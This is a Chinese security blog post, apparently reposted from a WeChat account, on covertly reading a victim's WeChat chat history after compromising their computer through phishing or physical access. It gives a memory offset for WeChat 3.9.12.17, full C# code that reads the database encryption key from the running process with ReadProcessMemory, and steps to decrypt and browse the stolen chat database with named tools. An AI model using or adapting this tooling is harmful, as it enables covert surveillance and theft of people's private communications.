0x01 前言
写这篇文章,主要是因为我想做一下视频,但内容不想太专业化,万事开头难,先来打个草稿,然后尝试录个视频剪辑下。
我感觉emm,就是可以查看聊天记录具备一定的隐蔽性,比如你通过钓鱼/近源等方式获取到了目标电脑权限,想要获取微信聊天记录,但不好直接远程操控,就可以尝试这种方法了。
还有不少朋友来问我有没有公开交流群,那就来建个群,在文底欢迎加入。
0x02 分析
看了文章得知,微信的聊天记录是存成 SQLite 数据库的,但文件被加密了,所以得先解密才能看。
好在现在有不少工具可以直接解密,不用自己去研究算法。不过,不同版本的微信用的解密密钥不一样,很多工具是通过记录历史版本的偏移来找到密钥的。如果遇到新版本或者工具还不支持的情况,那就得自己手动搞到密钥了。
部分微信key提取工具:
https://github.com/Ormicron/Sharp-dumpkey
https://github.com/AdminTest0/SharpWxDump
我这里是最新版本,工具还不支持,需要手动获取,参考以下方式获取密钥。
掏出我多年前改过的一个老CE(Cheat Engine),这里我的设备为iphone。
可以看到此内存区域附近有显示手机号、微信ID、地址等信息,按照以上说的方式,寻找16字节对齐且字符串为32字节的地址,尝试解密来验证是否为正确的密钥。
得到key地址为WeChatWin.dll+597D490-b0。
编写脚本一键化获取3.9.12.17版本的密钥,如果要获取其他版本只需要在代码中更换或添加偏移地址。
//C#代码
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace WeChatGetKey
{
internal class Program
{
private static void Main(string[] args)
{
try
{
RetrieveWeChatKey();
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}
private static void RetrieveWeChatKey()
{
Process weChatProcess = null;
foreach (Process process in Process.GetProcessesByName("WeChat"))
{
weChatProcess = process;
Console.WriteLine("微信进程ID: " + weChatProcess.Id);
foreach (ProcessModule module in weChatProcess.Modules)
{
if (module.ModuleName == "WeChatWin.dll")
{
IntPtr baseAddress = module.BaseAddress;
string version = module.FileVersionInfo.FileVersion;
Console.WriteLine("微信版本: " + version);
if (version != "3.9.12.17")
{
Console.WriteLine("不支持此微信版本 " + version + "");
return;
}
//WeChatWin.dll+0x597D490-0xb0
long keyAddress = (long)baseAddress + 0x597D490 - 0xb0;
string hexKey = ReadHexValue(weChatProcess.Handle, (IntPtr)keyAddress);
if (!string.IsNullOrEmpty(hexKey))
{
Console.WriteLine("微信Key: " + hexKey);
}
return;
}
}
}
if (weChatProcess == null)
{
Console.WriteLine("需打开微信");
}
}
private static string ReadHexValue(IntPtr processHandle, IntPtr baseAddress)
{
byte[] buffer = new byte[8];
if (ReadProcessMemory(processHandle, baseAddress, buffer, 8, 0) == 0)
{
return "";
}
int length = 32;
byte[] dataBuffer = new byte[length];
IntPtr targetAddress = (IntPtr)(
((long)buffer[7] << 56) +
((long)buffer[6] << 48) +
((long)buffer[5] << 40) +
((long)buffer[4] << 32) +
((long)buffer[3] << 24) +
((long)buffer[2] << 16) +
((long)buffer[1] << 8) +
(long)buffer[0]);
if (ReadProcessMemory(processHandle, targetAddress, dataBuffer, length, 0) == 0)
{
return "";
}
return ConvertBytesToHex(dataBuffer);
}
private static string ConvertBytesToHex(byte[] bytes)
{
return BitConverter.ToString(bytes, 0).Replace("-", string.Empty).ToLower();
}
[ ]
public static extern int ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, int lpNumberOfBytesRead);
}
}
获取到密钥之后可以配合chatViewTool工具写好的解密功能来解密db文件。
https://github.com/Ormicron/chatViewTool
代码中会对密钥格式进行处理,直接将上面程序输出的微信key写入到文件就好。
待解密完成可通过Navicat选择SQLite打开db文件进行查看。
也可配合工具的查看数据库功能对数据进行关联展示,要求比较高的也可自行编写脚本对数据进行处理。
原文始发于微信公众号(安全绘景):读取微信聊天记录
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论